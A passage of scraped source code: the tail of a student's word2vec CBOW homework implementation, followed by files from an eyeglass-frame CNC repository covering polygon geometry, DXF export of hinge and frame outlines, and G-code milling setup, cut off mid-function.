IN THE WRIITEN #\n # ASSIGNMENT ARE NOT! # \n #################################################################\n\n # Inputs:\n # - currrentWord: a string of the current center word\n # - C: integer, context size\n # - contextWords: list of no more than 2*C strings, the context words\n # - tokens: a dictionary that maps words to their indices in\n # the word vector list\n # - inputVectors: \"input\" word vectors (as rows) for all tokens\n # - outputVectors: \"output\" word vectors (as rows) for all tokens\n # - word2vecCostAndGradient: the cost and gradient function for\n # a prediction vector given the target word vectors,\n # could be one of the two cost functions you\n # implemented above\n\n # Outputs:\n # - cost: the cost function value for the skip-gram model\n # - grad: the gradient with respect to the word vectors\n # We will not provide starter code for this function, but feel\n # free to reference the code you previously wrote for this\n # assignment!\n \n cost = 0\n gradIn = np.zeros_like(inputVectors) #5*3 matrix \n gradOut = np.zeros_like(outputVectors) #5*3 matrix all the words.\n ### YOUR CODE HERE\n c_idx = tokens[currentWord] #index of the center word. \n onehot = np.zeros((len(contextWords), len(tokens))) # this is 6*5 vector \n #print tokens \n \n \n #print contextWords \n \n \n for i, word in enumerate(contextWords): #This is a representation for each context word as a one hot vector as a little corpus /\n #print i\n #print onehot[i, tokens[word]]\n onehot[i, tokens[word]] += 1. #actually this representation helps to map the context word to relevent word vecotrs \n \n #there are 5 input vectors. each 3 dimetional. a,b,c,d,e. \n\n d = np.dot(onehot, inputVectors) #this is a 4*3 vector. \n predicted = (1.0 / len(contextWords)) * np.sum(d, axis=0) #add up all the output word vectors and normalize them.\n cost, gradPred, gradOut = word2vecCostAndGradient(predicted, c_idx, outputVectors, dataset) #then the normal procedure. send the predicted and try to mximize the probabilty of score of center word but here with respect to output wordvec.\n#c_idx send the position of the centor word in the score matrix in softmax. so it's so same with the other model. here what \n \n gradIn = np.zeros(inputVectors.shape) #5*3 gradient of the input vectors. \n for word in contextWords:\n gradIn[tokens[word]] += (1.0 / len(contextWords) )* gradPred #each context word is get updated with the normalized gradient. This run for for loop in a number of context word and update the context word vec with grad .\n ### END YOUR CODE\n \n return cost, gradIn, gradOut #this gives the grad out and gradin alos the cost.\n\n#############################################\n# Testing functions below. DO NOT MODIFY! #\n#############################################\n#this is a stocastic gradient dcent procedure. insaide of this it decides which model it should use Cbow or skipgram model\ndef word2vec_sgd_wrapper(word2vecModel, tokens, wordVectors, dataset, C, word2vecCostAndGradient = softmaxCostAndGradient):\n #print(\"\\n ######### printing inside the SGD model ###########\")\n batchsize = 50\n cost = 0.0\n grad = np.zeros(wordVectors.shape)\n \n#here the C is used in genarating random centerword and contexts\n \n #print \"Printig tokens\"\n #print tokens \n \n \n #print getRandomContext()\n \n N = wordVectors.shape[0]\n inputVectors = wordVectors[:N//2,:] #take the first 5 as input and 5*3 matrix\n outputVectors = wordVectors[N//2:,:] #next 5 as the output vectors 5*3 matrix\n for i in range(batchsize): #stocastic gradient dcent procedure\n C1 = random.randint(1,C) #obtaining a rando number . between 1 and 5\n centerword, context = dataset.getRandomContext(C1) #defining the center word and other sorrounding words . contexts words rely on the C1. #this function is in the data_utiliti.\n #print context,centerword\n #print \"Printing the center word in the window at each iteration\"\n #print centerword \n #print \"surrounding words at each iteration\"\n #print context\n if word2vecModel == skipgram:\n denom = 1\n else:\n denom = 1\n #here this is the model we ae using to get the gradients . This can be input as a parameter. skipgram or CBOW. Take one itaration as a one window. if this is 50 it means there are 50 dynemic windwos. \n\n#out pu the total cost and grad update of the each window \n c, gin, gout = word2vecModel(centerword, C1, context, tokens, inputVectors, outputVectors, dataset, word2vecCostAndGradient)\n#c is the total cost in the window like wise gin is the total grads in the each window same with the gout. just a total\n# \n \n cost += c / batchsize / denom #add cost as a fraction of the iterations \n grad[:N//2, :] += gin / batchsize / denom #updating the outside vectors. \n grad[N//2:, :] += gout / batchsize / denom\n #print(\"\\n==== End of this iteration ====\")\n #still no parameter update this actually normalize the grad and cost and return it.\n \n return cost, grad\n\n\n" } ]
1
guildeyewear/framebot2
https://github.com/guildeyewear/framebot2
128016bf167793d86a8b1bcca6b6f3094b36bbdb
92d495a60af4951bd67b5f8e68b362849610e22d
00bfedf0e2409df730dff11334556aeef783510a
refs/heads/master
2021-01-06T20:45:55.976925
2015-04-20T21:15:20
2015-04-20T21:15:20
19,240,297
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6360637545585632, "alphanum_fraction": 0.6454095840454102, "avg_line_length": 32.0363655090332, "blob_id": "f80219a19d8157edd92bf80e5745160e43a9f4a1", "content_id": "e7589b7fbdf3d677b9b0c62b8e7bde25db5830c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1819, "license_type": "no_license", "max_line_length": 154, "num_lines": 55, "path": "/hinges/hinge_to_dxf.OBSOLETE.py", "repo_name": "guildeyewear/framebot2", "src_encoding": "UTF-8", "text": "from dxfwrite import DXFEngine as dxf\nimport json\nfrom optparse import OptionParser\nimport os\nimport sys\n\n\ndef main():\n parser = OptionParser()\n parser.add_option(\"-n\", \"--name\", dest=\"name\",\n help=\"Name of the hinge. Program will load file called <name>.json and output <name>-face.dxf and <name>-temple.dxf.\", metavar = \"HINGENAME\")\n\n (options, args) = parser.parse_args()\n\n if options.name == None:\n sys.stderr.write(\"Not enough arguments\")\n parser.print_help()\n sys.exit(0)\n\n name = options.name\n infile = open(name + \".json\")\n hinge = json.loads(infile.read())\n\n face = hinge[\"face_contour\"]\n temple = hinge[\"temple_contour\"]\n face_hole_diam = hinge[\"drill_dia\"]\n temple_hole_diam = hinge[\"drill_dia\"]\n face_holes = hinge[\"face_holes\"]\n temple_holes = hinge[\"temple_holes\"]\n\n face_drawing = dxf.drawing(\"./%s-face.dxf\" % name)\n temple_drawing = dxf.drawing(\"./%s-temple.dxf\" % name)\n face_drawing.add_layer(\"OUTLINE\", color=1)\n face_drawing.add_layer(\"HOLES\", color=2)\n temple_drawing.add_layer(\"OUTLINE\", color=1)\n temple_drawing.add_layer(\"HOLES\", color=2)\n\n face_outline = dxf.polyline(layer=\"OUTLINE\", thickness = 0.1)\n face_outline.add_vertices(face)\n face_drawing.add(face_outline)\n for hole in face_holes:\n circ = dxf.circle(face_hole_diam/2.0, hole, layer=\"HOLES\", thickness=0.1)\n face_drawing.add(circ)\n face_drawing.save()\n\n temple_outline = dxf.polyline(layer=\"OUTLINE\", thickness = 0.1)\n temple_outline.add_vertices(temple)\n temple_drawing.add(temple_outline)\n for hole in temple_holes:\n circ = dxf.circle(temple_hole_diam/2.0, hole, layer=\"HOLES\", thickness=0.1)\n temple_drawing.add(circ)\n temple_drawing.save()\n\nif __name__ == '__main__':\n main()\n\n\n" }, { "alpha_fraction": 0.5990155339241028, "alphanum_fraction": 0.6168497800827026, "avg_line_length": 30.360179901123047, "blob_id": "86be3d482643b8818f5d06d3f80ef535dada82ae", "content_id": "4d48708893ad5d75614bec9976bed44c1b0d565d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14018, "license_type": "no_license", "max_line_length": 185, "num_lines": 447, "path": "/src/poly.py", "repo_name": "guildeyewear/framebot2", "src_encoding": "UTF-8", "text": "\"\"\"Creates and performs operations on polygons.\"\"\"\n\nimport math\nimport pyclipper\nimport sys\nfrom cStringIO import StringIO\nfrom decimal import Decimal\n\ntau = math.pi * 2.0 # That's right, I said it\n\n\"\"\"\nToday we're adding and switching to length-along-polyline functions. This should make deriving more\ncomplicated toolpaths from polylines easier (e.g. segments forming tabs) because we will not have to\nmodify a polyline through a sequence of steps, but instead extract information about a line and then\nextract the final required features (e.g. gather length-along-line points, then extract segments with\ngaps at these lengths).\n\nIt will also enable some interesting functionality, like tab-every-inch-of-polyline segments.\n\n\"\"\"\ndef intersection(poly1, poly2):\n old_stdout = sys.stdout\n sys.stdout = mystdout = StringIO()\n scale_factor = 1000.0\n scaled1 = scale(poly1, scale_factor);\n scaled2 = scale(poly2, scale_factor);\n c = pyclipper.Pyclipper()\n c.add_polygon(scaled1)\n c.sub_polygon(scaled2)\n result = c.execute(0)\n sys.stdout = old_stdout\n if result and len(result) > 0:\n return [[p[0]/scale_factor, p[1]/scale_factor] for p in result[0]]\n else:\n return result\n #return [[p[0]/scale_factor, p[1]/scale_factor] for p in result[0]];\n\ndef difference(poly1, poly2):\n old_stdout = sys.stdout\n sys.stdout = mystdout = StringIO()\n scale_factor = 1000.0\n scaled1 = scale(poly1, scale_factor);\n scaled2 = scale(poly2, scale_factor);\n c = pyclipper.Pyclipper()\n c.add_polygon(scaled1)\n c.sub_polygon(scaled2)\n result = c.execute(2)\n sys.stdout = old_stdout\n if result and len(result) > 0:\n return [[p[0]/scale_factor, p[1]/scale_factor] for p in result[0]]\n else:\n return result\n #return [[p[0]/scale_factor, p[1]/scale_factor] for p in result[0]];\n\n\ndef line_length(line):\n \"\"\"Returns length of a line segment [[x0, y0], [x1, y1]]\"\"\"\n dx = line[0][0] - line[1][0]\n dy = line[0][1] - line[1][1]\n\n l = math.sqrt(dx**2.0 + dy**2.0)\n\n return l\n\ndef polyline_length(polyline, closed = True):\n \"\"\"Returns total length of a polyline. Includes a line segment from the last vertex to the first if closed=True (the default).\"\"\"\n lengths = [line_length(pair) for pair in pairs(polyline, closed)]\n\n l = sum(lengths)\n\n return l\n\ndef x_intercept(x, line):\n \"\"\"\n Finds intersection point between given line segment and vertical line at x.\n\n The possible return values are:\n [], no points of intersection.\n [[x, y]], a single point of intersection (note that this point can be the same point as the start or end of the line segment).\n list(line), co-incident with the provided line segment, i.e. a continuous intersection with the provided line segment. In this case a copy of the provided line segment is returned.\n \"\"\"\n\n (x1, y1) = line[0]\n (x2, y2) = line[1]\n\n # Continuous intersection with provided line segment\n if x == x1 and x1 == x2:\n return list(line) # A copy of the provided line segment\n\n # Intersect directly with only the first point\n elif x == x1:\n return [[x1, y1]]\n\n # Intersect directly with only the second point\n elif x == x2:\n return [[x2, y2]]\n\n # Intersect somewhere along the line\n elif (x1 < x and x2 > x) or (x2 < x and x1 > x):\n xi = x\n yi = y1 + ((x - x1)/(x2 - x1)) * (y2 - y1)\n return [[xi, yi]]\n\n # No intersection\n else:\n return []\n\ndef y_intercept(y, line):\n \"\"\"\n Finds intersection point between given line segment and horizontal line at y.\n Please see x_intercept.\n \"\"\"\n\n r = x_intercept(y, rotate_90(line, True)) # CW rotation\n\n return rotate_90(r, False) # CCW rotation (undo previous CW)\n\ndef intercepts(polyline, closed, x=[], y=[]):\n \"\"\"\n Finds x and/or y intercept points on a polyline, expressed in lengths from the start of the polyline.\n\n Returns a list of lengths along the polyline where the intercepts are found.\n\n If intercept is coincident with a line on the polyline, the two points that make up that line segment are treated as separate intersections.\n \"\"\"\n\n intercept_lengths = []\n\n l = 0.0 # Length accumulator\n\n for p in pairs(polyline, closed):\n intercept_points = []\n for yi in y:\n intercept_points += y_intercept(yi, p)\n for xi in x:\n intercept_points += x_intercept(xi, p)\n for point in intercept_points:\n intercept_lengths += [l + line_length([p[0], point])]\n\n l += line_length(p)\n\n return intercept_lengths\n\ndef rotate(poly, angle):\n if len(poly) == 0:\n return []\n rad = math.radians(angle)\n cosx = math.cos(rad)\n sinx = math.sin(rad)\n if len(poly[0]) > 2:\n return [[p[0]*cosx - p[1]*sinx, p[1]*cosx + p[0]*sinx, p[2]] for p in poly]\n else:\n return [[p[0]*cosx - p[1]*sinx, p[1]*cosx + p[0]*sinx] for p in poly]\n\ndef rotate_90(poly, ccw=True):\n \"\"\"Rotates points in a polyline by 90 degrees counterclockwise (CCW) or clockwise (CW) depending on ccw flag (default CCW, or True).\"\"\"\n\n if ccw:\n return [[p[1], -p[0]] for p in poly]\n else:\n return [[-p[1], p[0]] for p in poly]\n\ndef scale(polygon, scale):\n return [[round(p[0]*scale), round(p[1]*scale)] for p in polygon]\n\ndef dilate(r, polygon):\n old_stdout = sys.stdout\n sys.stdout = mystdout = StringIO()\n scale_factor = 1000.0\n scaled = scale(polygon, scale_factor);\n offset = pyclipper.offset([scaled], r*scale_factor, jointype=2);\n\n sys.stdout = old_stdout\n return [[p[0]/scale_factor, p[1]/scale_factor] for p in offset[0]];\n \"\"\"Return the provided polygon, dilated by r.\"\"\"\n # return m2d.run(circle(r), polygon, mode=\"dilate\")\n\n\ndef erode(r, polygon, jointype=2):\n #old_stdout = sys.stdout\n #sys.stdout = mystdout = StringIO()\n scale_factor = 1000.0\n scaled = scale(polygon, scale_factor);\n if(not is_ccw(scaled)):\n scaled = reverse(scaled)\n\n offset = pyclipper.offset([scaled], -r*scale_factor, jointype);\n\n #sys.stdout = old_stdout\n\n if len(polygon[0]) > 2:\n return [[[p[0]/scale_factor, p[1]/scale_factor] for p in off] for off in offset]\n #return [[[p[0]/scale_factor, p[1]/scale_factor, p[2]] for p in off] for off in offset]\n #Holes are messing us up, only return the first eroded path.\n\n return [[[p[0]/scale_factor, p[1]/scale_factor] for p in off] for off in offset]\n #return [[[p[0]/scale_factor, p[1]/scale_factor] for p in off] for off in offset]\n\n# return m2d.run(circle(r), polygon, mode=\"erode\")\n\ndef circle(r, n=32):\n \"\"\"\n Generate a counter-clockwise (CCW) polygon roughly representing a circle with radius r.\n Argument n specifies the number of vertices in the result.\n \"\"\"\n step = tau / float(n)\n\n angles = [step * float(i) for i in range(0, n)]\n\n points = [[math.cos(a) * float(r), math.sin(a) * float(r)] for a in angles]\n\n return points\n\ndef arc(r, starta, enda, n=32):\n \"\"\"\n Generate a counter-clockwise (CCW) polygon roughly representing a circular arc with radius r, from angle starta to angle enda.\n Argument n specifies the number of vertices in the result.\n \"\"\"\n step = (enda - starta) / float(n)\n\n angles = [starta + step * float(i) for i in range(0, n)]\n\n points = [[math.cos(a) * float(r), math.sin(a) * float(r)] for a in angles]\n\n return points\n\ndef shorter_segment(line, length):\n \"\"\"Returns a segment of a segment that is 'length' long.\"\"\"\n ratio = length / line_length(line)\n\n dx = line[0][0] - line[1][0]\n dy = line[0][1] - line[1][1]\n\n r = [line[0][0] + (ratio * dx), line[0][1] + (ratio * dy)]\n\n return r\n\ndef point_at_length(polyline, length, closed):\n \"\"\"Returns the coordinates of a point at length distance along the polyline.\"\"\"\n\n if length > polyline_length(polyline, closed):\n raise Exception(\"Requested length %f is longer than the polyline's length of %f\" % (length, polyline_length(polyline, closed)))\n\n l = 0.0\n\n for p in pairs(polyline, closed):\n l += line_length(p)\n\n if l == length:\n return p[1]\n elif l > length:\n l -= line_length(p) # Roll it back to length at start point\n r = shorter_segment(p, length-l) # Now get the point that gives us the requested length\n return r\n\ndef start_point(contour):\n return contour[0]\n\ndef new_start(poly, n):\n \"\"\"Returns a new polygon with poly[n] as its start point.\"\"\"\n return poly[n:] + poly[:n]\n\ndef segment(polyline, start, end, closed):\n \"\"\"Returns a new polyline which is a segment of polyline from length 'start' to length 'end'.\"\"\"\n\n l = 0.0\n\n # Grab our start and end points\n start_p = point_at_length(polyline, start, closed)\n end_p = point_at_length(polyline, end, closed)\n middle = []\n\n # Get all our inbetween points\n for p in pairs(polyline, closed):\n l += line_length(p)\n\n if l > start and l < end:\n middle += [p[0]]\n\n return [start_p] + middle + [end_p]\n\ndef make_gaps(polyline, lengths, gap, top, bottom, closed):\n \"\"\"\n Adds steps to the 'polyline' at the given 'lengths' with a width of 'gap'.\n Non-gap pieces have a height of 'bottom', gap pieces have a height of 'top'.\n \"\"\"\n\n r = []\n start = 0.0\n\n for l in sorted(lengths):\n tab_start = l - gap/2.0\n tab_end = l + gap/2.0\n# ramp_up_end = tab_start + gap/4.0\n# ramp_down_start = tab_end - gap/4.0\n\n free = set_z(segment(polyline, start, tab_start, False), bottom)\n# ramp_up = ramp2(segment(polyline, tab_start, ramp_up_end, False), bottom, top)\n# tab = set_z(segment(polyline, ramp_up_end, ramp_down_start, False), top)\n# ramp_down = ramp2(segment(polyline, ramp_down_start, tab_end, False), top, bottom)\n\n tab = set_z(segment(polyline, tab_start, tab_end, closed), top)\n ramp_points = len(tab)/4\n z_interval = (top-bottom) / ramp_points\n z_levels = [i*z_interval for i in range(ramp_points)]\n for i, z_level in enumerate(z_levels):\n tab[i][2] = bottom + z_level\n tab[-i][2] = bottom + z_level\n\n# ramp2(segment(polyline, tab_start, ramp_up_end, False), bottom, top)\n\n r += free\n# r += ramp_up\n r += tab\n# r += ramp_down\n\n start = tab_end\n\n # Tail end\n tail = set_z(segment(polyline, start, polyline_length(polyline, closed), closed), bottom)\n r += tail\n return r\n\ndef ramp2(polyline, start_z, end_z):\n step= (end_z - start_z)/len(polyline)\n z = [start_z + i*step for i in range(0, len(polyline))]\n ramp = [[p[0], p[1], z] for p, z in zip(polyline, z)]\n return ramp\n\ndef set_z(polyline, z):\n \"\"\"Sets the z coordinate to the polyline of 'z'.\"\"\"\n return [p + [z] for p in polyline]\n\ndef mirror_y(contour, closed):\n \"\"\"Returns a polygon with mirrored y coordinates, i.e. mirrored across x axis.\"\"\"\n if len(contour[0]) > 2:\n r = [[p[0], -p[1], p[2]] for p in contour]\n else:\n r = [[p[0], -p[1]] for p in contour]\n\n if closed:\n r = reverse(r)\n\n return r\n\n\ndef mirror_x(contour, closed):\n \"\"\"Returns a polygon with mirrored x coordinates, i.e. mirrored across y axis.\"\"\"\n if len(contour[0]) > 2:\n r = [[p[0] * -1.0, p[1], p[2]] for p in contour]\n else:\n r = [[p[0] * -1.0, p[1]] for p in contour]\n\n if closed:\n r = reverse(r)\n\n return r\n\ndef reverse(contour):\n return [contour[0]] + contour[1:][::-1] # Contour[0] is added to the front to maintain the start point\n\ndef translate(poly, dx, dy):\n if len(poly) == 0:\n return []\n if len(poly[0]) > 2:\n return [[p[0] + dx, p[1] + dy, p[2]] for p in poly]\n else:\n return [[p[0] + dx, p[1] + dy] for p in poly]\n\ndef bottom(poly):\n \"\"\"Returns the lowest Y value of the polygon points.\"\"\"\n return min([p[1] for p in poly])\n\ndef top(poly):\n \"\"\"Returns the highest Y value of the polygon points.\"\"\"\n return max([p[1] for p in poly])\n\ndef right(poly):\n \"\"\"Returns the highest X value of the polygon points.\"\"\"\n return max([p[0] for p in poly])\n\n\ndef left(poly):\n \"\"\"Returns the lowest X value of the polygon points.\"\"\"\n return min([p[0] for p in poly])\n\ndef leftmost_index(poly):\n values = [p[0] for p in poly]\n return values.index(min(values))\n\ndef pairs(l, closed):\n \"\"\"\n Generates pairs of items from a list. Can be used to generate pairs of points around a polyline.\n Will pair the last item with the first if 'closed' is True (the default).\n \"\"\"\n\n for i in range(1, len(l)):\n yield [l[i-1], l[i]]\n\n if closed:\n yield [l[-1], l[0]]\n\ndef area(poly):\n \"\"\"Returns the area of the polygon. Mostly clockwise polygons have positive areas, mostly counterclockwise polygons have negative areas.\"\"\"\n\n a = 0.0\n\n for pair in pairs(poly, True):\n (x1, y1) = pair[0]\n (x2, y2) = pair[1]\n\n a += (x2-x1) * (y2+y1)\n\n return a/2.0\n\ndef is_cw(poly):\n return True if area(poly) >= 0.0 else False\n\ndef is_ccw(poly):\n return True if area(poly) <= 0.0 else False\n\ndef lengths(polyline, closed):\n \"\"\"\n Returns the points of the provided line along with the distance along the line at that point in the format (point, length at that point).\n \"\"\"\n\n l = 0.0\n\n yield [polyline[0], l] # First point is always 0.0 along the line\n\n for p in pairs(polyline, closed):\n l += line_length(p)\n yield [p[1], l]\n\n\ndef ramp(polyline, start_height, end_height, closed):\n \"\"\"\n Adds a third coordinate, z, to the polyline points, from 'top' to 'bottom', proportional to the length along the line.\n Will add an extra point that is a duplicate of the first point if closed=True (the default).\n \"\"\"\n max = polyline_length(polyline, closed)\n\n r = []\n for (p, l) in lengths(polyline, closed):\n r.append(p + [start_height + (l/max) * (end_height - start_height)])\n\n return r\n" }, { "alpha_fraction": 0.5982444882392883, "alphanum_fraction": 0.618753969669342, "avg_line_length": 39.67911148071289, "blob_id": "a410d05d958168e38ad7c50f0fa97c873cf1a6a5", "content_id": "51196f4c88511bdfb8926ba191387d53629c15e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 34862, "license_type": "no_license", "max_line_length": 127, "num_lines": 857, "path": "/src/process_order.py", "repo_name": "guildeyewear/framebot2", "src_encoding": "UTF-8", "text": "from dxfwrite import DXFEngine as dxf\nfrom dxfwrite.vector2d import vsub\nimport json\nfrom optparse import OptionParser\nimport os\nimport sys\nimport poly\nimport cam\nimport hinges\nimport math\nimport nose\n\ndef log(message):\n sys.stdout.write(message + \"\\n\")\n\ndef main():\n \"\"\"Run as a command line program.\"\"\"\n parser = OptionParser()\n parser.add_option(\"-i\", \"--infile\", dest=\"infile\",\n help=\"read specification from INFILE\", metavar=\"INFILE\")\n parser.add_option(\"-u\", \"--url\", dest=\"url\",\n help=\"read specification from URL\", metavar=\"URL\")\n parser.add_option(\"-o\", \"--outdir\", dest=\"outdir\",\n help=\"write manufacturing instruction files to OUTDIR\", metavar=\"OUTDIR\")\n\n (options, args) = parser.parse_args()\n\n if (options.infile == None and options.url == None) or options.outdir == None:\n log(\"Insufficient arguments.\")\n parser.print_help()\n sys.exit(0)\n\n infile = open(options.infile) if options.infile else urllib.urlopen(options.url)\n o = json.loads(infile.read())\n outdir = options.outdir\n if not os.path.exists(outdir):\n os.makedirs(outdir)\n\n def draw_control_point(point, tangent1, tangent2=(0, 0)):\n tp1 = vadd(point, tangent1)\n tp2 = vadd(point, tangent2)\n dwg.add(dxf.circle(0.05, center=point, color=1))\n dwg.add(dxf.line(point, tp1, color=2))\n dwg.add(dxf.line(point, tp2, color=2))\n\n\n # Create a dxf for cutting the outline on the laser cutter\n filename = '/Users/rodfrey/Dropbox/outer_contour.dxf'\n beziers = beziers_to_dxf(o[\"outercurve_beziers\"])\n dwg = dxf.drawing(filename)\n dwg.add_layer('OUTLINE', color=1)\n bez = dxf.bezier(layer=\"OUTLINE\")\n bez.start(beziers[0][0], tangent=vsub(beziers[0][1], beziers[0][0]))\n draw_control_point(beziers[0][0], tangent1=vsub(beziers[0][1], beziers[0][0]))\n# draw_control_point(beziers[0][0], tangent1=beziers[0][1])\n for idx, b1 in enumerate(beziers[0:-1]):\n b2 = beziers[idx+1]\n bez.append(b1[3], tangent1=vsub(b1[2], b1[3]), tangent2=vsub(b2[1], b1[2]))\n draw_control_point(b1[3], tangent1=vsub(b1[2], b1[3]), tangent2=vsub(b2[1], b1[2]))\n# draw_control_point(b1[3], tangent1=b1[2], tangent2=b2[1])\n bez.append(beziers[-1][3], tangent1=vsub(beziers[-1][2], beziers[-1][3]))\n dwg.add(bez)\n dwg.save()\n\n\n # Create the milling program for the lens holes/groove, hinge pockets, etc.\n# mill_fronts(outdir, o)\n\n# temples = arrange_temple_curves(o['ltemple_con'], o['rtemple_con'], o['lhinge'], o['lhinge_y'], o['rhinge_y'])\n# create_dxf(\"/Users/rodfrey/Dropbox/temple_contour.dxf\",\n# [temples['left_temple_contour'],\n# temples['right_temple_contour'],\n# temples['left_hinge_contour'],\n# temples['right_hinge_contour'],\n# temples['left_hinge_holes'],\n# temples['right_hinge_holes']],\n# )\n #create_dxf(\"/Users/rodfrey/Dropbox/temple_contour.dxf\", [temples['left_temple_contour'], temples['right_temple_contour']])\n #mill_temples(outdir, temples, o['temple_length'])\n\ndef beziers_to_dxf(beziers_spec):\n# Let's get this into a better format for python first\n beziers = [[(b['x1'], b['y1']), (b['cx1'], b['cy1']), (b['cx2'], b['cy2']), (b['x2'], b['y2'])] for b in beziers_spec]\n\n\n\ndef mill_fronts(outdir, order):\n \"\"\"Creates the g-code for the first milling operation. The\n first milling operation is done on an unregistered plastic blank,\n so includes creating registration holes for subsequent operations.\"\"\"\n\n#TODO: Replace with information in materials database\n# Initial thickness of the forward-facing lamination. 0 if no lamination.\n front_surface_thickness = 0\n\n# The final desired thickness of the fronto facing lamination. Must\n# be equal to or less than the front_surface_thickness.\n final_front_thickness = 0\n\n# Initial thickness of the face side lamination. Use this thickness only if\n# stock is solid\n back_surface_thickness = 4\n\n# The final thickness of the left and right extremes of the frame where the\n# hinge will go. Must be equal to or less than back_surface_thickness.\n hinge_thickness = 4\n\n# The thickness of the highest point of the nosepad\n nosepad_thickness = 4\n\n# Final thickness of the main part of the frame. Must be equal to or less than\n# the back_surface_thickness.\n final_back_thickness =4\n\n thickness = final_front_thickness + final_back_thickness\n\n front_surface_removal = final_front_thickness - front_surface_thickness\n back_surface_removal = final_back_thickness - back_surface_thickness\n\n\n# The machine has the stock clamp oriented 90 degrees to the way the\n# software creates the contours.\n face_c = poly.rotate_90(order[\"face_con\"])\n left_lens_c = poly.rotate_90(order[\"lhole_con\"])\n right_lens_c = poly.rotate_90(order[\"rhole_con\"])\n temple_height = abs(order[\"ltemple_con\"][0][1] - order[\"ltemple_con\"][-1][1])\n\n msg = check_frame_size(face_c)\n if msg:\n print msg\n sys.exit(0)\n\n print 'milling front with hinge', order['lhinge'], order['rhinge']\n offset = frame_offset(face_c)\n\n groove_height = back_surface_removal + (thickness/2)\n print 'groove', groove_height, back_surface_removal, (thickness/2)\n program = [\n cam.setup(),\n cam.select_fixture(\"blank_clamp\"),\n cam.retract_spindle(),\n cam.activate_pin(\"stock_clamp\"),\n surface_front(front_surface_removal),\n# surface_back(back_surface_removal),\n\n cam.change_tool(\"1/8in endmill\"),\n cam.rapid([0, 0]),\n cam.temporary_offset(offset),\n# Note that X and Y parameters in the order are switched from our system\n#TODO: replace the thickness offset with the thickness of the TEMPLE, not the fronts.\n index_holes([face_c], back_surface_thickness),\n lens_holes(left_lens_c, right_lens_c, back_surface_thickness),\n lens_groove(left_lens_c, right_lens_c, back_surface_removal - (thickness/2)),\n# contour_face(\n# back_surface_removal,\n# back_surface_thickness - hinge_thickness,\n# back_surface_thickness - nosepad_thickness,\n# temple_height,\n# face_c, left_lens_c, order['lhinge_y']),\n face_hinge_pockets(order[\"lhinge\"], order[\"lhinge_y\"], order[\"ltemple_x\"]),\n# nose_pads(order, thickness),\n nose_contour(order[\"nose_rad\"], order[\"nose_h\"], order[\"nose_sa\"], order[\"nose_ra\"], face_c, back_surface_thickness),\n\n cam.retract_spindle(),\n cam.deactivate_pin(\"stock_clamp\"),\n cam.end_program(),\n ]\n open(outdir + \"/face_stage1.ngc\", \"w\").write(to_string(program))\n\n\ndef contour_face(body_removal, hinge_removal, nosepad_removal, temple_height, face_c, lens_c, x_pos):\n ''' Create the heightmap of the frame, surfacing the back and adding thickness for the\n hinge location and the nosepads. '''\n if body_removal == hinge_removal == nosepad_removal == 0:\n return [] # Nothing to do\n\n cutter_radius = 6.35/2 # 3/4 inch cutter\n entry_point = [x_pos, 110, 0]\n\n facing_contour = poly.dilate(0.05, lens_c)\n\n# Reshape the facing contour so the first point is near the hinge\n center_y = poly.bottom(facing_contour) + (poly.top(facing_contour) - poly.bottom(facing_contour))/2\n center_x = poly.right(facing_contour) + (poly.left(facing_contour) - poly.right(facing_contour))/2\n split_idx = -1\n for idx, pt in enumerate(facing_contour):\n if pt[1] > center_y and (idx+1) < len(facing_contour):\n if (pt[0] < x_pos and facing_contour[idx+1][0] > x_pos) or (pt[0] > x_pos and facing_contour[idx+1][0] < x_pos):\n split_idx = idx\n break\n if split_idx < 0:\n print 'Error contouring back of frame: could not locate entry point for surfacing cut'\n return []\n facing_contour = poly.new_start(facing_contour, split_idx)\n# Ensure we're going clockwise, i.e. starting at the hinge and moving up over the frame\n if poly.is_ccw(facing_contour):\n facing_contour = poly.reverse(facing_contour)\n\n# Calculate the Z values\n# We'll need a few helper values. nosepad_start is the inflection point of the nose bridge.\n nosepad_start = max([pt[0] for pt in face_c if pt[1] == 0]) + cutter_radius\n hinge_rampdown_start_x = x_pos + temple_height/2 + cutter_radius\n hinge_rampdown_start_y = facing_contour[0][1] - cutter_radius\n hinge_rampup_start_x = x_pos - temple_height/2 - cutter_radius\n hinge_rampup_start_y = facing_contour[0][1] - cutter_radius\n\n print nosepad_start, hinge_rampdown_start_x, hinge_rampdown_start_y, hinge_rampup_start_x, hinge_rampup_start_y\n '''\n Arbitrary heuristic, adjusted for aesthetics.\n 1. If we're past the center point of the lens hole, we're either on the body\n of the frame or over the raised hinge point.\n 2. If we're before the center point we're either on the body or over the nosepiece.\n\n 1a. If we're above the cutter-radius-adjusted top of the temple, we're ramping down\n 1b. If we're below the cutter-radius-adjusted bottom of the temple, we're ramping up\n 1c. Otherwise we're at body thickness\n\n 2a. If we're above the top of the nose cutout, we're at body thickness\n 2b. When we reach nose cutout, we do a s-curve over 3 mm to nosepad height\n 2c. Continue for length of cutter diameter to get rear of cutter over highest point\n 2d. Continue for 10mm\n 2e. S-curve down over 10mm\n '''\n print hinge_removal, body_removal\n def add_hinge_heights(contour):\n heightmap = []\n over_hinge = True # Start over hinge\n\n items_to_skip = 0 # for fast-forwarding enumeration\n for idx, pt in enumerate(contour):\n if items_to_skip > 0:\n items_to_skip = items_to_skip - 1\n if items_to_skip == 0:\n print 'first post ramp point', contour[idx+1]\n continue\n\n\n if pt[1] < center_y:\n heightmap = heightmap + [pt]\n # Going up and around: start ramping down when we're clear of X or Y\n elif pt[0] > x_pos:\n if pt[0] > hinge_rampdown_start_x or pt[1] < hinge_rampdown_start_y:\n if(over_hinge): # starting transition\n transition_length = poly.polyline_length(contour[:(idx+1)], False)\n ramp_segment = poly.segment(contour, transition_length, transition_length+5, False)\n ramp_segment = poly.ramp(ramp_segment, hinge_removal, body_removal, False)\n heightmap = heightmap + ramp_segment[:-1]\n items_to_skip = len(ramp_segment)\n print 'last ramp segment', ramp_segment[-1]\n over_hinge = False\n else: # past transition but still on hinge side of lens hole\n heightmap = heightmap + [pt + [body_removal]]\n else: # We're on the top part but haven't reached the transition yet\n heightmap = heightmap + [pt + [hinge_removal]]\n\n # Coming back up to the hinge: start ramping up if we encroach on both x and y\n elif pt[0] < x_pos and (pt[0] > hinge_rampup_start_x and pt[1] > hinge_rampdown_start_y):\n if(not over_hinge): # starting transition\n print pt, 